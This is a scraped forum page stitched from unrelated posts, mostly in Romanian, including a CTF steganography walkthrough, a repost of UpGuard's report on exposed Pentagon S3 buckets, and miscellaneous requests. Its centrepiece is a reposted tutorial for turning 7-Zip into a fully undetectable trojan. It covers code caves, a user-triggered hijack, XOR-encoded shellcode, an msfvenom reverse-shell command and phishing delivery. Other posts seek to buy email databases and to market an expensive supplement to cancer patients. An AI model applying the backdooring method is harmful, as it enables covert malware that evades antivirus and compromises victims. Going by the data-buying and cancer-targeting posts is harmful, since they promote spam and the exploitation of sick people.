Leaderboard

Un mic rew. Lucrează bine, mi-a terminat proiectul repede și la un preț acceptabil, îl recomand pentru oricine are nevoie. + un baiat de nota 20 !!!

"Chears" sister! Peace and love

Walkthrough: @Usr6 1. Descarcam imaginea si verificam daca e integra: # curl -s https://rstforums.com/forum/uploads/monthly_2017_11/the_big_fat_panda.jpg.07e36e8e2681213cd21cbe01d72e9baa.jpg --output The_Big_Fat_Panda.jpg && md5sum The_Big_Fat_Panda.jpg 409302f21ea7dcfe2ed9bbf3c810081c The_Big_Fat_Panda.jpg 2. Deschidem imaginea cu editor hex(am folosit Bless pe Ubuntu) si verificam daca dupa imagine mai este ceva. Ne uitam daca dupa biti FF D9 mai apare ceva. In cazul nostru observam: PK.. NobodyUnderstandMe.jpg PK - inseamna ca avem o arhiva, zip 3. Extragem arhiva din imagine: # unzip The_Big_Fat_Panda.jpg Obtinem o alta imagine: "NobodyUnderstandMe.jpg" . Incercam sa facem acelasi lucru ca la cealalta imagine, dar ne cere o parola si ne da un puzzle: Cateodata DA inseamna DA si NU inseamna NU, cateodata DA inseamna NU si NU inseamna Da, cateodata DA inseamna POATE si POATE inseamna NU, cateodata NU inseamna POATE si POATE... AI INTELESSSSS? DANUDADANUNUDANUDANUNUDADADADANUDANUNUDADADANUNUDANUNUDADADADANUDANUNUNUDADANUDADANUDADADADADANUDANUNUDANUDADANUDANUDADANUDADANUDANUNUDANUNUNUDADANUNUDADADANUNUDANUNUDADANUDANUDANUNUNUDADANUDADANUNUDADADANUNUDANUNUDADADADANUDANUNUNUDANUDADA Initial m-am oprit aici si am cerut hint, mi-a fost oferita imaginea: https://rstforums.com/forum/applications/core/interface/imageproxy/imageproxy.php?img=https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg/220px-Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg&key=65b8c92411b156ea5a00ea79269010df0e1ad7e390288503459d91a50af16a4d # Din care extrage linkul: https://upload.wikimedia.org/wikipedia/commons/thumb/7/75/Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg/220px-Macbook_Pro_Power_Button_-_Macro_(5477920228).jpg 4. Cautam pe google dupa imagine si ajungem pe pagina wiki: https://en.wikipedia.org/wiki/Power_symbol # Observam citatul: The symbol for the standby button was created by superimposing the symbols "|" and "o"; however, it is commonly misinterpreted as the numerals "0" and "1" 5. Luam sirul cu DAsi NU unde inlocuim "DA" cu 0 si "NU" cu 1, obtinem: 010011010110000101100011011000010111001001000001011010010100100101101110011000110110010101110010011000110110000101110100 # Il convertim din binar in ASCII si obtinem: MacarAiIncercat 6. Vedem ca asta este parola("MacarAiIncercat" te poate duce in eroare, eu initial am crezut ca nu asa trebuia sa procedez) dupa care obtinem un fisier text: DA, chiar e ceea ce pare, doar ca standard=dradnats vpGWkp6TipPfkYrfno2a35GaiZCWmt+bmt+Q34+Nmpiei5aNmt+Mj5qclp6Tnt+PmpGLjYrfnt+Zlt+ekZaSnpPT35CSipPflpGMnt+PmpGLjYrfnt+bmomakZbfkJLfno2a35GaiZCWmt+bmt+am4qcnouWmtPfmpuKnJ6Llp7fmZ6cmt+blpmajZqRi57fm5aRi42a35CekpqRlt+Mlt+ekZaSnpOa0d+yno2ciozfq4qTk5aKjN+8lpyajZD= 7. Observam ca e un base64, observam si hintul: "standard=dradnats". Cautam pe google implementarea algoritmului base64: https://en.wikibooks.org/wiki/Algorithm_Implementation/Miscellaneous/Base64#Javascript_2 Facem un reverse la lista base64chars si rulam functia pe stringul nostru: https://jsfiddle.net/9vdbamd9/1/ base64chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; # devine base64chars = '/+9876543210zyxwvutsrqponmlkjihgfedcbaZYXWVUTSRQPONMLKJIHGFEDCBA' Stringul decodat: Animalul nu are nevoie de o pregatire speciala pentru a fi animal, omul insa pentru a deveni om are nevoie de educatie, educatia face diferenta dintre oameni si animale. Marcus Tullius Cicero

@robert2alin in continuare la https://rstforums.com/forum/topic/107079-iphone-8-blacklist/?do=findComment&comment=655986 asta am rezolvat. Spor!

Table of Contents [hide] 1 Introduction 2 Self Imposed Restrictions 3 Methods used: 4 Criteria for PE file selection for implanting backdoor 4.1 ASLR: 4.2 Static Analysis 5 Backdooring PE file 6 Adding a new Section header method 6.1 Hijack Execution Flow 6.2 Adding Shellcode 6.3 Modifying shellcode 6.4 Spawning shell 6.5 Pros of adding a new section header method 6.6 Cons of adding a new section header method 7 Triggering shellcode upon user interaction + Codecaves 7.1 Code Caves 7.2 Triggering Shellcode Upon user interaction 7.3 Spawning Shell 8 Custom Encoding Shellcode 8.1 Spawning shell 9 Conclusion Introduction During Penetration testing engagement you are required to backdoor a specific executable with your own shellcode without increasing the size of the executable or altering its intended functionality and hopefully making it fully undetectable (FUD) how would you do it?. For example, after recon, you gather information that a lot number of employees use a certain “program/software”. The social engineering way to get in the victim’s network would be a phishing email to employees with a link to download “Updated version of that program”, which actually is the backdoored binary of the updated program. This post will cover how to backdoor a legitimate x86 PE (Portable Executable) file by adding our own reverse TCP shellcode without increasing the size or altering the functionality. Different techniques are also discussed on how to make the backdoor PE fully undetectable (FUD). The focus in each step of the process is to make the backdoored file Fully undetectable. The word “undetectable” here is used in the context of scan time static analysis. Introductory understanding of PE file format, x86 assembly and debugging required. Each section is building upon the previous section and no topic is repeated for the sake of conciseness, one should reference back and forth for clarity. Self Imposed Restrictions Our goal is to backdoor a program in a way that it becomes fully undetectable by anti viruses, and the functionality of the backdoored program should remain the same with no interruptions/errors. For anti-virus scanning purposes we will be using NoDistribute.There are a lot of way to make a binary undetectable, using crypters that encode the entire program and include a decoding stub in it to decode at runtime, compressing the program using UPX, using veil-framework or msfvenom encodings. We will not be using any of such tools. The purpose is to keep it simple and elegant! For this reason I have the following self imposed restrictions:- No use to Msfvenom encoding schemes, crypters, veil-framework or any such fancy tools. Size of the file should remain same, which means no extra sections, decoder stubs, or compressing (UPX). Functionality of the backdoored program must remain the same with no error/interruptions. Methods used: Adding a new section header to add shellcode User interaction based shellcode Trigger + codecaves. Dual code caves with custom encoder + triggering shellcode upon user interaction Criteria for PE file selection for implanting backdoor Unless you are forced to use a specific binary to implant a backdoor the following points must be kept in mind. They are not required to be followed but preferred because they will help reducing the AV detection rate and making the end product more feasible. The file size of executable should be small < 10mb, Smaller size file will be easy to transfer to the victim during a penetration testing engagement. You could email them in ZIP or use other social engineering techniques. It will also be convenient to debug in case of issues. Backdoor a well known product, for example Utorrent, network utilities like Putty, sysinternal tools, winRAR , 7zip etc. Using a known PE file is not required, but there are more chances of AV to flag an unknown PE backdoor-ed than a known PE backdoor-ed and the victim would be more inclined to execute a known program. PE files that are not protected by security features such as ASLR or DEP. It would be complicated to backdoor those and won’t make a difference in the end product compared to normal PE files. It is preferable to use C/C++ Native binaries. It is preferable to have a PE file that has a legitimate functionality of communicating over the network. This would fool few anti viruses upon execution when backdoor shellcode will make a reverse connection to our desired box. Some anti viruses would not flag and will consider it as the functionality of the program. Chances are network monitoring solutions and people would consider malicious communication as legitimate functionality. The Program we will be backdooring is 7Zip file archiver (GUI version). Firstly lets check if the file has ASLR enabled. ASLR: Randomizes the addresses each time program is loaded in memory, this way attacker cannot used harcoded addresses to exploit flaws/shellcode placement. Powershell script result shows no ASLR or DEP security mechanism As we can see in the above screenshot, not much in terms of binary protection. Lets take a look at some other information about the 7zip binary. Static Analysis Static Analysis of 7zip binary The PE file is 32 bit binary, has a size of about 5mb. It is a programmed in native code (C++). Seems like a good candidate for our backdoor. Lets dig in! Backdooring PE file There are two ways to backdoor Portable executable (PE) files. Before demonstrating both of them separately it is important to have a sense of what do we mean by backdooring a PE file?. In simple terms we want a legitimate windows executable file like 7zip achiever (used for demonstration) to have our shellcode in it, so when the 7zip file is executed our shellcode should get executed as well without the user knowing and without the anti viruses detecting any malicious behavior. The program (7zip) should work accurately as well. The shellcode we will be using is a stageless MSFvenom reverse TCP shell. Follow this link to know the difference between staged and stageless payloads Both of the methods described below has the same overall process and goal but different approaches to achieve it. The overall process is as follow:- Find an appropriate place in memory for implanting our shell code, either in codecaves or by creating new section headers, both methods demonstrated below. Copy the opcodes from stack at the beginning of program execution. Replace those instructions with our own opcodes to hijack the execution flow of the application to our desired location in memory. Add the shellcode to that memory location which in this case is stageless TCP reverse shell. Set the registers back to the stack copied in first step to allow normal execution flow. Adding a new Section header method The idea behind this method is to create a new header section in PE file, add our shellcode in newly created section and later point the execution flow it that section. The new section header can be created using a tool such as LordPE. Open Lord PE Go to section header and add the section header (added .hello) at the bottom. Add the Virtual size and Raw size 1000 bytes. Note that 1000 is in hexadecimal (4096 bytes decimal). Make the section header executable as we have to place our Shellcode in this section so it has to be executable, writable and readable. Save the file as original. Adding a new header section Now if we execute the file, it wont work because we have added a new section of 1000h bytes, but that header section is empty. Binary not executing because of empty header section To make to file work normally as intended, we have to add 1000h bytes at the end of the file because right now the file contains a header section of 1000 bytes but that section is empty, we have to fill it up by any value, we are filling it up by nulls (00). Use any hex editor to add 1000 hexademical bytes at the end of the file as shown below. Adding 1000h bytes at the end of the file We have added null values at the end of the file and renamed it 7zFMAddedSection.exe. Before proceeding further we have to make sure now our executable 7zFMAddedSection.exe, is working properly and our new section with proper size and permissions is added, we can do that in Ollydbg by going to memory section and double clicking PE headers. PE Headers in Ollydbg Hijack Execution Flow We can see that our new section .hello is added with designated permissions. Next step is to hijack the execution flow of the program to our newly added .hello section. When we execute the program it should point to .hello section of the code where we would place our shellcode. Firstly note down the first 5 opcodes, as will need them later when restoring the execution flow back. We copy the starting address of .hello section 0047E000 open the program in Ollydbg and replace the first opcode at address 004538D8 with JMP to 0047E000. Replacing the starting address with JMP to new section Right click -> Copy to executable -> all modifications -> Save file. We saved the file as 7zFMAddedSectionHijacked.exe (File names getting longer and we are just getting started!) Up-till now we have added a new header section and hijacked the execution flow to it. We open the file 7zFMAddedSectionHijacked.exe in Ollydbg. We are expecting execution flow to redirect to our newly added .hello section which would contain null values (remember we added nulls using hexedit?). Starting of .hello section Sweet! We have a long empty section .hello section. Next step is to add our shellcode from the start of this section so it gets triggered when the binary is executed. Adding Shellcode As mentioned earlier we will be using Metasploit’s stagless windows/shell_reverse_tcp shellcode. We are not using any encoding schemes provided by msfvenom, most of them if not all of them are already flagged by anti viruses. To add the shellcode firstly we need push registers on to the stack to save their state using PUSHAD and PUSHFD opcodes. At the end of shellcode we pop back the registers and restore the execution flow by pasting initial (Pre hijacked) program instructions copied earlier and jumping back to make sure the functionality of 7zip is not disturbed. Here is the sequence of instructions PUSHAD PUSHFD Shellcode.... POPAD POPFD Restore Execution Flow... We generate windows stageless reverse shellcode using the following arguments in mfsvenom msfvenom -p windows/shell_reverse_tcp LHOST=192.168.116.128 LPORT=8080 -a x86 --platform windows -f hex Copy the shellcode and paste the hex in Ollydbg as right click > binary > binary paste , it will get dissembled to assembly code. Added shellcode at the start of .hello section Modifying shellcode Now that we have our reverse TCP shellcode in .hello section its time to save the changes to file, before that we need to perform some modifications to our shellcode. At the end of the shellcode we see an opcode CALL EBP which terminates the execution of the program after shellcode is executed, and we don’t want the program execution to terminate, infact we want the program to function normally after the shellcode execution, for this reason we have to modify the opcode CALL EBP to NOP (no operation). Another modification that needs to be made is due to the presence of a WaitForSingleObject in our shellcode. WaitForSignleObject function takes an argument in milliseconds and wait till that time before starting other threads. If the WaitForSignleObject function argument is -1 this means that it will wait infinite amount of time before starting other threads. Which simply means that if we execute the binary it will spawn a reverse shell but normal functionality of 7zip would halt till we close our reverse shell. This post helps in finding and fixing WaitForSignleObject. We simply need to modify opcode DEC INC whose value is -1 (Arugment for WaitForSignleObject) to NOP. Next we need to POP register values off the stack (to restore the stack value pre-shellcode) using POPFD and POPAD at the end of shellcode. After POPFD and POPAD we need to add the 5 hijacked instructions(copied earlier in hijack execution flow) back, to make sure after shellcode execution our 7zip program functions normally. We save the modifications as 7zFMAddedSectionHijackedShelled.exe Spawning shell We setup a listener on Kali Box and execute the binary 7zFMAddedSectionHijackedShelled.exe. We get a shell. 7zip binary works fine as well with no interruption in functionality. We got a shell! How are we doing detection wise? Detection Rate Not so good!. Though it was expected since we added a new writeable, executable section in binary and used a known metasploit shellcode without any encoding. Pros of adding a new section header method You can create large section header. Large space means you don’t need to worry about space for shellcode, even you can encode your shellcode a number of times without having to worry about its size. This could help bypassing Anti viruses. Cons of adding a new section header method Adding a new section header and assigning it execution flag could alert Anti viruses. Not a good approach in terms of AV detection rate. It will also increase the size of original file, again we wouldn’t want to alert the AV or the victim about change of file size. High detection rate. Keeping in mind the cons of new section header method. Next we will look at two more methods that would help help us achieve usability and low detection rate of backdoor. Triggering shellcode upon user interaction + Codecaves What we have achieved so far is to create a new header section, place our shellcode in it and hijack the execution flow to our shellcode and then back to normal functionality of the application. In this section we will be chaining together two methods to achieve low detection rate and to mitigate the shortcomings of new adder section method discussed above. Following are the techniques discussed:- How to trigger our shellcode based on user interaction with a specific functionality. How to find and use code caves. Code Caves Code caves are dead/empty blocks in a memory of a program which can be used to inject our own code. Instead of creating a new section, we could use existing code caves to implant our shellcode. We can find code caves of different sizes in almost of any PE. The size of the code cave does matter!. We would want a code cave to be larger than our shellcode so we could inject the shellcode without having to split it in smaller chunks. The first step is to find a code cave, Cave Miner is an optimal python script to find code caves, you need to provide the size of the cave as a parameter and it will show you all the code caves larger than that size. finding code caves for injection We got two code caves larger than 700 bytes, both of them contain enough space for our shellcode. Note down the virtual address for both caves. Virtual address is the starting address of the cave. Later We will hijack the execution flow by jumping to the virtual addresses. We will be using both caves later, for now, we only require one cave to implant in our shellcode. We can see that the code cave is only readable, we have to make it writable and executable for it to execute our shellcode. We do that with LORDPE. Making .rsrc writeable and executable Triggering Shellcode Upon user interaction Now that we have a code cave we can jump to, we need to find a way to redirect execution flow to our shellcode upon user interaction. Unlike in the previous method, we don’t want to hijack the execution flow right after the program is run. We want to let the program run normally and execute shellcode upon user interaction with a specific functionality, for example clicking a specific tab. To accomplish this we need to find reference strings in the application. We can then hijack the address of a specific reference string by modifying it to jump to code cave. This means that whenever a specific string is accessed in memory the execution flow will get redirected to our code cave. Sounds good? Let see how do we achieve this. Open the 7zip program in Ollydbg > right click > search for > all reference text strings Found a suitable reference string In reference strings we found an interesting string, a domain (http://www.7-zip.org). The memory address of this domain gets accessed when a user clicks on about > domain. Website button functionality Note that we can have multiple user interaction triggers that can be backdoored in a single program using the referenced strings found. For the sake of an example we are using the domain button on about page which upon click opens the website www.7-zip.org in browser. Our objective is to trigger shellcode whenever a user clicks on the domain button. Now we have to add a breakpoint at the address of domain string so that we can then modify its opcode to jump to our code cave when a user clicks on the website button.We copy the address of domain string 0044A8E5 and add a breakpoint. We then click on the domain button in the 7zip program. The execution stops at the breakpoint as seen in the below screenshot:- Execution stops at break point address 0044A8E5 (http;//www.7zip.org/) now we can modify this address to jump to code cave, so when a user clicks on the website button execution flow would jump to our code cave, where in next step we will place our shellcode. Firstly we copy couple of instructions after 0044A8E5 address as they will be used again when we want to point execution flow back to it after shellcode execution to make sure normal functionality of 7zip. inject backdoor into exe After modification to jmp 00477857 we save the executable as 7zFMUhijacked.exe . Note that the address 00477857 is the starting address of codecave 1. We load the 7zFMUhijacked.exe in Ollydbg and let it execute normally, we then click on the website button. We are redirected to an empty code cave. Nice! we have redirected execution flow to code cave upon user interaction. To keep this post concise We will be skipping the next steps of adding and modifying the shellcode as these steps are the same explained above “6.2 Adding shellcode” and “6.3 Modifying shellcode“. Spawning Shell We add the shellcode, modify it, restore the execution flow back to from where we hijacked it 0044A8E5 and save the file as 7zFMUhijackedShelled.exe. The shellcode used is stageless windows reverse TCP. We set a netcat listener, run 7zFMUhijackedShelled.exe , click on the website button. Fully Undetectable backdoor PE Files Everything worked as we expected and we got a shell back! . Lets see how are we doing detection wise? Triggering shellcode upon user interaction + Codecaves detection. Thats good! we are down from 16/36 to 3/38. Thanks to code caves and triggering shellcode upon user interaction with a specific functionality. This shows a weakness in detection mechanism of most anti viruses as they are not able to detect a known msfvenom shellcode without any encoding just because it is in a code cave and triggered upon user interaction with specific functionality. The detection rate 3/38 is good but not good enough (Fully undetectable). Considering the self imposed restrictions, the only viable route from here seem to do custom encoding of shellcode and decode it in memory upon execution. Custom Encoding Shellcode Building upon what we previously achieved, executing shellcode from code cave upon user interaction with a specific program functionality, we now want to encode the shellcode using XOR encoder. Why do we want to use XOR, a couple of reasons, firstly it is fairly easy to implement, secondly we don’t have to write a decoder for it because if you XOR a value 2 times, it gives you the original value. We will encode the shellcode with XOR once and save it on disk. Then we will XOR the encoded value again in memory at runtime to get back the original shellcode. Antiviruses wouldn’t be able to catch it because it is being done in memory! We require 2 code caves for this purpose. One for shellcode and one for encoder/decoder. In finding code caves section above we found 2 code caves larger than 700 bytes both of them have fair enough space for shellcode and encoder/decoder. Below is the flow chart diagram of execution flow. Custom encoding shellcode in code caves + Triggering shellode upon user interaction So we want to hijack the program execution upon user interaction of clicking on the domain button to CC2 starting address 0047972e which would contain the encoder/decoder XOR stub opcodes, it will encode/decode the shellcode that resides in CC1 starting address 00477857, after CC2 execution is complete we will jump to CC1 to start execution which would spawn back a shell, after CC2 execution we will jump back from CC2 to where we initially hijacked the execution flow with clicking the domain button to make sure the functionality of the 7zip program remains the same and the victim shouldn’t notice any interruptions. Sounds like a long ride, Lets GO! Note that the steps performed in the last section wouldn’t be repeated so reference back to hijacking execution upon user interaction, adding shellcode in codecaves, modifying shellcode and restoring the execution flow back to where we hijacked it. Firstly we Hijack the execution flow from address 0044A8E5 (clicking domain button) to CC2 starting address 0047972e and save the modifications as file on disk. We run the modified 7zip file in Ollydbg and trigger the hijacking process by clicking on the domain button. Hijacking execution flow to CC2 Now that we are in CC2, before writing our XOR encoder here, we will firstly jump to starting address of CC1 and implant our shellcode so that we get the accurate addresses that we have to use in XOR encoder. Note that the first step of hijacking to CC2 can also be performed at the end as well, as it won’t impact the overall execution flow illustrated in flowchart above. We jump to CC1 , implant, modify shellcode and restore the execution flow to 0044A8E5 from where we hijacked to CC2 to make sure smooth execution of 7zip program functionality after shellcode. Note that implanting, modifying shellcode and restoring execution flow is already explained in previous sections. Bottom of shellocode at CC1 Above screenshot shows the bottom of shellocode at CC1, note down the address 0047799B, this is where the shellcode ends, next instructions are for restoring the execution flow back. So we have to encode from starting of the shellcode at address 00477859 till 0047799B. We move to 00477857 the starting address of CC2, we write XOR encoder, following are the opcodes for XOR encoder implementation. PUSH ECX, 00477857 // Push the starting address of shellcode to ECX. XOR BYTE PTR DS:[EAX],0B // Exclusive OR the contents of ECX with key 0B INC ECX // Increase ECX to move to next addresses CMP ECX,0047799B // Compare ECX with the ending address of shellcode JLE SHORT 00479733 // If they are not equal, take a short jump back to address of XOR operation JMP 7zFM2.00477857 // if they are equal jump to the start of shellcode As we are encoding the opcodes in CC1, we have to make sure the header section in which the CC1 resides is writeable otherwise Ollydbg will show access violation error. Refer back to codecaves section to know how to make it writable and executable. We add a breakpoint at JMP 7zFM2.00477857 after the encoding is performed and we are about to jump back to encoded shellcode. If we go back to CC1 we will see that out shellcode is encoded now. Custom encode shellcode in memory All is left to save the modifications of both the shellcode at CC1 and the encoder at CC2 to a file we named it as 7zFMowned.exe. Lets see if its working as intended. Spawning shell We setup a listener on port 8080 on our Kali box, run 7zFMbackdoored.exe in windows and click on domain button . 7zip website pops up in the browser and if we go back to our kali box. We got a shell How are we doing detection wise? Fully undetectable PE file using Dual code caves, custom encoder and trigger upon user interaction Conclusion Great! we have achieved fully undetectable backdoor PE file that remains functional with the same size. Sursa: https://haiderm.com/fully-undetectable-backdooring-pe-files/

The UpGuard Cyber Risk Team can now disclose that three publicly downloadable cloud-based storage servers exposed a massive amount of data collected in apparent Department of Defense intelligence-gathering operations. The repositories appear to contain billions of public internet posts and news commentary scraped from the writings of many individuals from a broad array of countries, including the United States, by CENTCOM and PACOM, two Pentagon unified combatant commands charged with US military operations across the Middle East, Asia, and the South Pacific. The data exposed in one of the three buckets is estimated to contain at least 1.8 billion posts of scraped internet content over the past 8 years, including content captured from news sites, comment sections, web forums, and social media sites like Facebook, featuring multiple languages and originating from countries around the world. Among those are many apparently benign public internet and social media posts by Americans, collected in an apparent Pentagon intelligence-gathering operation, raising serious questions of privacy and civil liberties. While a cursory examination of the data reveals loose correlations of some of the scraped data to regional US security concerns, such as with posts concerning Iraqi and Pakistani politics, the apparently benign nature of the vast number of captured global posts, as well as the origination of many of them from within the US, raises serious concerns about the extent and legality of known Pentagon surveillance against US citizens. In addition, it remains unclear why and for what reasons the data was accumulated, presenting the overwhelming likelihood that the majority of posts captured originate from law-abiding civilians across the world. With evidence that the software employed to create these data stores was built and operated by an apparently defunct private-sector government contractor named VendorX, this cloud leak is a striking illustration of just how damaging third-party vendor risk can be, capable of affecting even the highest echelons of the Pentagon. The poor CSTAR cyber risk scores of CENTCOM and PACOM - 542 and 409, respectively, out of a maximum of 950 - is a further indication that even the most sensitive intelligence organizations are not immune to sizable cyber risk. Finally, the collection of billions of internet posts in several unsecured data repositories raises further questions about online privacy, as well as regarding the right to freely express your beliefs online. The Discovery On September 6th, 2017, UpGuard Director of Cyber Risk Research Chris Vickery discovered three Amazon Web Services S3 cloud storage buckets configured to allow any AWS global authenticated user to browse and download the contents; AWS accounts of this type can be acquired with a free sign-up. The buckets’ AWS subdomain names - “centcom-backup,” “centcom-archive,” and “pacom-archive” - provide an immediate indication of the data repositories’ significance. CENTCOM refers to the US Central Command, based in Tampa, Fla. and responsible for US military operations from East Africa to Central Asia, including the Iraq and Afghan Wars. PACOM is the US Pacific Command, headquartered in Aiea, HI and covering East, South, and Southeast Asia, as well as Australia and Pacific Oceania. There are further clues as to the provenance of these data stores. A “Settings” table in the bucket “centcom-backup” indicates the software was operated by employees of a company called VendorX, complete with a listing of the details of a number of developers with access. While public information about this firm is scant, an internet search reveals multiple individuals who worked for VendorX describing work building Outpost for CENTCOM and the Defense Department: Descriptions of VendorX’s work on Outpost, via employee LinkedIn pages. This external reference to “Outpost” as a Pentagon social engineering effort built by VendorX appears to be corroborated by the contents of “centcom-backup,” which, besides, the references to VendorX in the “Settings” table, contains a folder titled “outpost.” Within this folder is the development configurations and API for Outpost, and while this content’s exact relationship to the “Outpost” program described on former employees' profiles remains unclear, some indication of its purpose may be provided by a number of very large compressed files also within the bucket. Decompressed, these files are revealed to contain Lucene indexes, a search engine used to easily look for search terms throughout massive amounts of data, including keywords, partial words, and combinations of words, in a number of different languages. These Lucene indexes, which are optimized to interact with Elasticsearch, seem to parse internet content similar to that contained in the other buckets. Taken together, this disparate collection of data appears to constitute an ingestion engine for the bulk collection of internet posts - organizing a mass quantity of data into a searchable form. The former employee's reference to “high-risk youth in unstable regions of the world” is further corroborated by an examination of another folder within “centcom- backup.” This folder, titled “scraped,” contains an enormous amount of XML files consisting of internet content “scraped” from the public internet since 2009 to 2015; the other CENTCOM bucket, “archive,” would be found to contain more such data, collected from 2009 to the present day. With a number of information fields describing the origins, nature, contents, and web address of the post, thousands of examples of such scraped content are listed in plaintext - a smaller example of the massive stores of such data contained in the other two buckets. Screencaps of sample posts, with information fields visible. Also contained in “scraped,” however, is a folder titled “Coral,” which likely refers to the US Army’s “Coral Reef” intelligence software. This folder contains a directory named “INGEST” that contained all the posts scraped and held in the “centcom-backup” bucket. The Coral Reef program “allows users of intelligence to better understand relationships between persons of interest” as a component of the Distributed Common Ground System-Army (DCGS-A) intelligence suite, “the Army's primary system for the posting of data, processing of information, and dissemination to all components and echelons of intelligence, surveillance and reconnaissance information about the threats, weather, and terrain” programs. Such a focus on gathering intelligence about “persons of interest” would be even more clear-cut in the other two buckets, starting with “centcom-archive.” The bucket “centcom-archive” contains more scraped internet posts stored in the same XML text file format as seen in “centcom-backup,” only on a much larger scale: conservatively, at least 1.8 billion such posts are stored here. This vast repository ingested content from a broad array of webpages; while Facebook is a popular, recurring host, everything from soccer discussion groups to video game forums are sources for scraped web posts. The posts themselves are in many different languages, but with an emphasis on Arabic, Farsi (spoken in Iran and Afghanistan), and a number of Central and South Asian dialects spoken in Afghanistan and Pakistan. The most recent indexed files were created in August 2017, right before UpGuard’s discovery, consisting of posts collected in February 2017. Not present are any Lucene index files of the sort seen in “centcom-backup” - the contents of this bucket are purely the input (or, perhaps, also the output) of an internet-scouring machine. There are few indications as to the level of importance afforded to these posts. Given the CENTCOM buckets’ focus on the collection and organization of millions of internet posts, largely from the Middle East and South Asia - a focus that would certainly also be of interest to a program like Coral Reef - it is perhaps unsurprising to see hints at why some of these posts would be of significance. Arabic posts criticizing or mocking ISIS, posted to Facebook pages for Iraqi anti-jihadi groups, or Pashto language comments made on the official Facebook page of Pakistani politician Imran Khan, who has drawn scrutiny from both the Taliban and the US government, give some indication of content that might be of interest to CENTCOM in its prosecution of regional wars and against Islamic extremists. The bucket “pacom-archive” is very similar to the contents and structure of “centcom-archive,” but skews toward Southeast and East Asian posts, as well as some by Australians. Taken together, the buckets “centcom-archive” and “pacom-archive” appear to store raw ingested (or even possibly raw egested) internet content on a massive scale, perhaps to be run through text extraction programming. This data’s relationship to the searchable Lucene indexes discovered in “centcom-backup” remains unclear. Taken together, however, the data suggests that there is well-crafted interplay between the “Coral” social media and commentary scraping project, an ingestion engine dubbed “Thor,” and a public-influence initiative referred to as “Outpost.”. The Significance The collection methods used to build these data stores remains somewhat murky, even as the general purpose of the mass collection seems clear, mirroring known US defense efforts to monitor the internet for violent radicalism. Why, for instance, were each of these posts collected? What triggered their inclusion in these repositories? Massive in scale, it is difficult to state exactly how or why these particular posts were collected over the course of almost a decade. Given the enormous size of these data stores, a cursory search reveals a number of foreign-sourced posts that either appear entirely benign, with no apparent ties to areas of concern for US intelligence agencies, or ones that originate from American citizens, including a vast quantity of Facebook and Twitter posts, some stating political opinions. Among the details collected are the web addresses of targeted posts, as well as other background details on the authors which provide further confirmation of their origins from American citizens. It remains unclear on what basis this data was collected. What is more clear is the significance of these data repositories’ contents.The collection of public internet posts in massive repositories by the Defense Department for unclear reasons is one matter; the lack of care taken to secure them is another. The CENTCOM and PACOM CSTAR cyber risk scores of 542 and 409 provide some indication of gaps in the armor of two major military organizations’ digital defenses. The possible misuse or exploitation of this data, perhaps against internet users in foreign countries wracked by civil violence, is a troubling possibility, as is the presence of US citizens’ internet content in buckets associated with US military intelligence operations. The Posse Comitatus Act restricts the military from “ being used as a tool for law enforcement, except in situations of explicit national emergency based on express authorization from Congress,” but as seen in recent years, this separation has been eroded. Despite all of this, the same issues of cyber risk driving insecurity across the landscape are present here, too. A simple permission settings change would have meant the difference between these data repositories being revealed to the wider internet, or remaining secured. If critical information of a highly sensitive nature cannot be secured by the government - or by third-party vendors entrusted with the information - the consequences will affect not only whatever government organizations and contractors that are responsible, but anybody whose information or internet posts were targeted through this program, potentially resulting in unfair bias or unwarranted actions against the post creator. Source

Decat numele-i filme online in rest doar trailere.. din acest motiv au ads deci vand gogosi

Procesor KabyLake i5 7600K - 800 Lei @adicode https://pricezone.ro/product/procesor-intel-kaby-lake-i5-7600k-38ghz42ghz-6mb-bx80677i57600k-p51739

Poti gasi lucruri interesante aici: http://index-of.co.uk/Computer-Security/CRC Press - Information Security Management Handbook, Fifth .pdf Daca mai ai/aveti nevoie, am niste cursuri(pdf-uri) in romana despre criptografie cu o abordare matematica si conceptuala asupra temei.

http://www.krem.com/mobile/article/news/local/okanogan-county/graphic-navy-admits-to-being-involved-in-obscene-skydrawings-spotted-in-okanogan-co/293-492496113

@MrSkipy sa inteleg ca vinzi aceste pagini de facebook care au mii de like-uri dar doar cate 20-100 like-uri per postare? Trebuie sa intelegi ca pretul se calculeaza la engagement si nu la nr total de like-uri. 1 mil de likeuri pot cumpara cu 100 de dolari si eu de la un SMM provider dar engagementul e cel care conteaza. Iti pot arata o pagina pornita de mine acum 1 saptamana care are doar 900 de likeuri si care are 3-400 de likeuri per postare - FIECARE POSTARE.

Dicţionarul a fost creat în perioada 2013-2016. Download: https://mega.nz/#!HEQAnIYA!k-igkydxW_zeKMvAVLZEWOEVQM5JcXUVb0dmiOvxL3w

Salutare am un iPhone 8 care e băgat in blacklist și blocat intr o rețea din Anglia. Cum îl pot debloca?

hellou, m ar intersa si poe mine o baza de date . Exista cu adevarat pe aici? Cat/ cum ./unde ths

Salut, vreau sa promovez un website, ce contine un singur produs, un medicament, destul de scump. As vrea sa stiu daca ma poate ajuta cineva contracost cu metode noi de promovare. Daca se poate sa fie selectat ca si target persoanele bonlave de cancer. World Wide, in special pentru Romania, Moldova, Bulgaria... vecinii nostrii in general. Multumesc.

E foarte rar, se vinde doar in Cuba, noi suntem singurii din europa cu autorizatie de punere pe piata. Am gasit contrafacute pe olx. Am gresit eu cand am zis ca e anti-cancer, este un supliment, desi din documentele de la Labiofam, din experimente sunt persoane cu un anumit tip de cancer care a regresat complet.

buna stiti careva de unde pot lua in conditii optime o baza de date emailuri/ detalii contact complete atat pt b2b cat si b2c? ori macar una din douaSunt la inceput cu un shop online, si na! stim cu totii ca e e imposibil sa il descurci fara ceva de genu ca siu start. Ths a lot, chears!